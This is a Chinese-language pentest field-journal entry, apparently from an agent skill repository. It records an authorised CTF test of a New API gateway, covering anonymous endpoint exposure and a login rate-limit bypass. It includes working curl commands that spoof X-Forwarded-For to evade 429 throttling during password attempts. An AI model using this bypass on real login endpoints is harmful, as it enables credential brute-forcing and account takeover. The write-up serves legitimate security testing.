Files
reverse-skills-max/reverse-skill-repo/skills/field-journal/2026-05-26_pentest-newapi-rate-limit-bypass.md

77 lines
2.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 2026-05-26 CTF Web 网关限速绕过与信息暴露
## 场景分类
渗透测试
## 目标概述
对 `{target_domain}` 进行授权 CTF 渗透,验证登录防爆破与匿名接口暴露风险。
## 完整执行链路
1. 路由到 `pentest-tools`,读取先例与工具索引,确认 `nmap` 可用。
2. 端口探测确认多端口暴露,随后转入 Web 接口枚举。
3. 从前端 `index-*.js` 提取接口字典,批量验证匿名访问状态码。
4. 发现 `GET /api/status`、`GET /api/pricing`、`GET /api/setup` 匿名可访问并返回敏感字段。
5. 对 `POST /api/user/login` 进行速率限制测试,先触发 `429`,再加入 `X-Forwarded-For` 伪造头验证绕过。
6. 复现成功:无伪造头为 `429`,伪造/轮换 XFF 为 `200`。
## 踩坑记录
| 问题 | 原因 | 解决方案 | 耗时 |
|------|------|---------|------|
| Nmap 初次失败(eth0) | Npcap 设备映射与默认接口不一致 | 显式指定 `-e eth3` 或改用 `-sT` | 8 分钟 |
| HTTP 请求偶发超时 | 目标侧限流/网络抖动 | 缩小请求并行、加 `--max-time` 与重试窗口 | 6 分钟 |
| 登录返回值不稳定 | 限速状态变化掩盖真实行为 | 固定测试矩阵:无头部 vs 伪造 XFF | 5 分钟 |
## 工具链发现
- `nmap` 适合快速确认暴露面,但服务识别受目标策略影响较大。
- 通过前端 bundle 抽取接口路径是高效方法,适合自建网关类应用。
- 对限速逻辑,优先做“同参数+变源”对照实验,可快速识别 header trust 问题。
## 关键代码/命令
```bash
# 匿名接口枚举(节选)
curl -k -s https://{target_domain}/api/status
curl -k -s https://{target_domain}/api/pricing
# 限速绕过 PoC
curl -k -s -o /dev/null -w "%{http_code}\n" \
-H "Content-Type: application/json" \
-X POST "https://{target_domain}/api/user/login?turnstile=" \
--data '{"username":"root","password":"12345678"}'
# => 429
curl -k -s -o /dev/null -w "%{http_code}\n" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 10.0.0.123" \
-X POST "https://{target_domain}/api/user/login?turnstile=" \
--data '{"username":"root","password":"12345678"}'
# => 200
```
## 对本包的改进建议
- `pentest-tools` 可新增“限速绕过验证模板”(XFF/X-Real-IP/Forwarded 三组对照)。
- 在 `templates/findings.md` 增加“防爆破策略有效性”检查项。
## 可复用的模式/脚本片段
- 模式:`429 baseline` → `header mutation` → `status diff`。
- 结论阈值:同请求体下,状态从 `429` 稳定降为 `200` 可判定疑似限速绕过。
## 进化动作
- [ ] 更新了路由矩阵
- [ ] 更新了 tool-index
- [ ] 更新了 bootstrap-manifest
- [ ] 更新了子 skill 文档
- [x] 新增了 pitfalls 记录
- [ ] 无需更新
## 环境信息
- OS: Windows (PowerShell)
- 工具版本: Nmap 7.80, curl (系统自带)
- 目标平台/版本: New API (`X-New-Api-Version: v0.0.0`)